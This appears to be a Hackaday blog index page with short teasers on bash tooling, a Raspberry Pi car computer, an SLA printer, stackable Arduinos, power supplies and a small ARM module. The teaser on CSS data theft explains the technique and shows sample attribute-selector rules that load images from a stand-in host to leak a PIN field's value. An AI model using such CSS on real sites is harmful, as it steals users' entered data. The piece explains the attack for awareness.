Software Development In… Bash

Truly good ideas tend to apply in all situations. The phrase is “never run with scissors”, not “don’t run with scissors unless you are just going into the next room.” Software development methodology is a good idea and most of us have our choice of tools. But what if you are developing a significant amount of bash or similar script? Should you just wing it because bash isn’t a “real” programming language? [Oscar] says no, and if you are writing more than two or three lines of script, we agree.

We’ve made the argument before (and many of you have disagreed) that bash is a programming language. Maybe not the greatest and certainly not the sexiest, but bash is near ubiquitous on certain kinds of systems and for many tasks is pretty productive. [Oscar] shows how he uses a source code formatter, a linter, and a unit test framework to bring bash scripting in line with modern software development. We are pretty sure he uses source control, too, but that seems so elementary that it doesn’t come up outside of a link to his repository in GitHub.

Continue reading “Software Development In… Bash”

Crankshaft: Open Source Car Computer

Modern cars and head units are pretty fancy gadget-wise. But what if your car still has an 8-track? No problem. Just pick up a Raspberry Pi 3 and a seven-inch touchscreen, and use Crankshaft to turn it into an Android Auto setup.

The open source project is based on OpenAuto which, in turn, leverages aasdk. The advantage to Crankshaft is it is a plug-and-play distribution. However, if you prefer, you can build it all yourself from GitHub.

Continue reading “Crankshaft: Open Source Car Computer”

Review Of The Moai SLA 3D Printer

It is funny how we always seem to pay the same for a new computer. The price stays the same, but the power of the computer is better each time. It would appear 3D printers may be the same story. After all, it wasn’t long ago that sinking a thousand bucks or more on a 3D printer wouldn’t raise any eyebrows. Yet today you can better printers for a fraction of that and $1,300 will buy you an open source Moai SLA printer as a kit. [3D Printing Nerd] took a field trip to MatterHackers to check the machine out and you can see the results in the video below.

The printer uses a 150 mW laser to make parts up to 130 mm by 130 mm by 180 mm. The laser spot size is 70 micron (compare that to the typical 400 micron tip on a conventional printer). The prints require an alcohol bath after they are done followed by a UV curing step that takes a few hours.

Continue reading “Review Of The Moai SLA 3D Printer”

Moltoduino: Arduinos All The Way Down

It is getting difficult to find a desktop or laptop computer with only a single CPU. Even a typical ARM-based computer now probably has multiple cores. Of course, there’s nothing to stop you from using multiple microcontrollers — like the Arduino — together. To make the process neater, [Dimitris Platis] put together Moltoduino, essentially an Arduino on a shield made to plug into another Arduino. And, yes, they will stack. You can see a video about the open source boards, below.

The key is how the board brings the pins out to connections that are easy to jumper between boards. There are several obvious use cases, but one that [Dimitris] is particularly interested in is hardware-in-the-loop testing. The idea is that you can use a simulated I/O device in one computer to exchange fake data with the software under test.

Continue reading “Moltoduino: Arduinos All The Way Down”

CSS Steals Your Web Data

Earlier this year, we posted a link to an interactive Web page. Most people seemed to like it, but we got at least one comment about how they would never be so incautious as to allow JavaScript to run on their computers. You can argue the relative merit of that statement, but it did remind us that just disabling JavaScript is no panacea when it comes to Internet security. You might wonder how you could steal data without scripting, assuming you don’t directly control the server or browser, of course. The answer is by using a cascading style sheet (CSS). [Live Overflow] explains the exploit in the video below, covering an older paper and a recent rediscovery of the technique.

The technique hinges on you getting a CSS into the web page. Maybe you’ve partially compromised the server or maybe you wrote a malicious browser extension. The method works because you can make a style conditional on an attribute of an element. That means you can ask CSS to do some special formatting on a text field with a certain value. If that formatting is to load some background image from a server you control then you can tell if the field has a particular value.

We didn’t say it was easy. Suppose you want to capture a four-digit PIN number. You will need about 10,000 lines of format. For example:

input[type="pin"][value$="0000"] { background-color: url(http://notahackaday.com/0000.png }
input[type="pin"][value$="0001"] { background-color: url(http://notahackaday.com/0001.png }
...
input[type="pin"][value$="9999"] { background-color: url(http://notahackaday.com/9999.png }

Continue reading “CSS Steals Your Web Data”

Power Supply Choices

Unless you are building a crystal radio or you’ve finally invented that infinite energy machine, any project you do is going to need some sort of power supply. There was a time when a battery was enough, but these days you probably need some sort of regulation. But there are many kinds to choose. Linear, switching, SEPIC, LDO… how do you pick? [Andreas Spiess] has some practical advice in his recent video, which you can see below.

[Andreas] calls the video “Voltage Regulator Cheat Sheet” and that’s an apt name. He covers the major architectures and even points out why you can’t always trust the vendor’s information on certain types of supplies.

Continue reading “Power Supply Choices”

Tiny Quad Core Module Available Soon

We get a lot of new product announcements here at Hackaday, and we run across even more. As excited as a manufacturer might be about their latest Raspberry Pi killer or cheaper Arduino clone, we usually don’t have much to say about new products unless there is something really interesting about them. Our attention was piqued though when we saw the Neutis N5. Shipping in April, the device packs a quad-core ARM processor running at 1.3 GHz with 8 GB of flash memory and 512 MB of RAM, has an extended temperature range, WiFi (802.11N), and Bluetooth (including BLE). There’s also a crypto chip, and all this is packed into a tiny package. Really tiny. Less than 41×30 mm square and less than 4.5 mm thick. There’s a Debian-based distribution and a development board. Oh and the really interesting thing is the price, which is $49 in single quantities.

Some of the I/O ports are multiplexed, but there are plenty of options including audio, Ethernet, HDMI, USB, and more. They clearly mean for these to be put into products. The module claims UL and CE certification, each unit has a unique serial number, and there is a gang programming capability.

Continue reading “Tiny Quad Core Module Available Soon”